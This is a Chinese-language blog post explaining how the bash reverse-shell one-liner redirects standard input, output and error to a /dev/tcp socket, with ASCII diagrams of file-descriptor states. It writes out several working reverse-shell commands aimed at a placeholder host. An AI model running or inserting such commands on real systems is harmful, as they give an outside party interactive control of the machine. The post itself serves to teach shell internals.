bash reverse shell

Posted by 00theway on 2017-07-11

bash 反弹shell

下边是一段熟悉而又陌生的代码,经常被用来在linux环境下反弹shell

1
bash -i >& /dev/tcp/host/port 0>&1

然而长时间以来对它的原理一直是似懂非懂,于是就抽时间研究了一下

用到的特殊文件介绍

1
2
>/dev/tcp/host/port
>

当操作上边文件时, bash 会打开一个与文件关联的socket,读写文件就相当于对socket连接进行读写操作。

在执行一个命令之前,bash shell会把标准输入输出重定向到特殊的文件描述符

  • 文件描述符0 表示标准输入
  • 文件描述符1 表示标准输出
  • 文件描述符2 表示标准错误

反弹shell语句里边用到了 “>&” 操作符,“>&” 操作符在不同情况下有不通的含义

  • 在“>&word”语法中,当word不是数字或“-”字符时,“>&”表示标准输出和标准错误重定向到文件,此时与操作符“&>”功能一样。
  • 在“>&word”语法中,当word是数字或“-”字符时,操作符“>&”表示复制输出文件描述符

仅有代码”bash -i”时输入输出状态

0代表标准输入,1代表标准输出,2代表标准错误

1
2
3
4
5
6
7
8
9
10
11
标准输入、标准输出和标准错误 全部指向shell(此状态定义为状态A)
--- +--------+
( 0 ) ---->| shell |
--- +--------+
--- +--------+
( 1 ) ---->| shell |
--- +--------+

--- +--------+
( 2 ) ---->| shell |
--- +--------+

命令“>& /dev/tcp/host/port”是对标准输出和标准错误的重定向,此时的输入输出状态

1
2
3
4
5
6
7
8
9
10
11
标准输入指向shell,标准输出和标准错误指向socket连接文件(此状态定义为状态B)
--- +--------+
( 0 ) ---->| shell |
--- +--------+
--- +--------+ +------------------+
( 1 ) ---->| shell | -----> |/dev/tcp/host/port|
--- +--------+ ---> +------------------+
/
--- +--------+ /
( 2 ) ---->| shell | /
--- +--------+

因此执行命令“bash -i >& /dev/tcp/host/port”时将标准输出和标准错误进行了重定向,使标准输出和标准错误指向socket连接文件,标准输入指向原有shell不变。

使用命令“bash -i >& /dev/tcp/host/port”还不能反弹shell,因为此时的输入还是指向shell,此时会出现在被控端(执行反弹shell命令的终端)执行命令,在控制端(监听端口的终端)回显得现象,具体大家可以看一下视频,然后自己测试一下。

命令“0>&1”是对文件描述符的拷贝,是将0[标准输入]重定向到了1[标准输出]指向的位置,此时1[标准输出]指向的是socket连接文件,重定向完成后,0[标准输入]也指向了socket连接文件,状态如下

在状态B时,2[标准错误]指向的也是socket连接文件,因此命令”0>&2”与“0>&1”执行完后结果是一样的,所以反弹shell命令可以写成“bash -i >& /dev/tcp/host/port 0>&2”

1
2
3
4
5
6
7
8
9
10
11
12
标准输入、标准输出和标准错误全部指向socket连接文件(此状态定义为状态C)
--- +--------+
( 0 ) ---->| shell |\
--- +--------+ \
\
--- +--------+ ---> +------------------+
( 1 ) ---->| shell | -----> |/dev/tcp/host/port|
--- +--------+ ---> +------------------+
/
--- +--------+ /
( 2 ) ---->| shell | /
--- +--------+

命令”bash -i 5<>/dev/tcp/host/port 0>&5 1>&5”也可以反弹shell

参考文档

https://www.gnu.org/software/bash/manual/html_node/Redirections.html
http://wiki.bash-hackers.org/howto/redirection_tutorial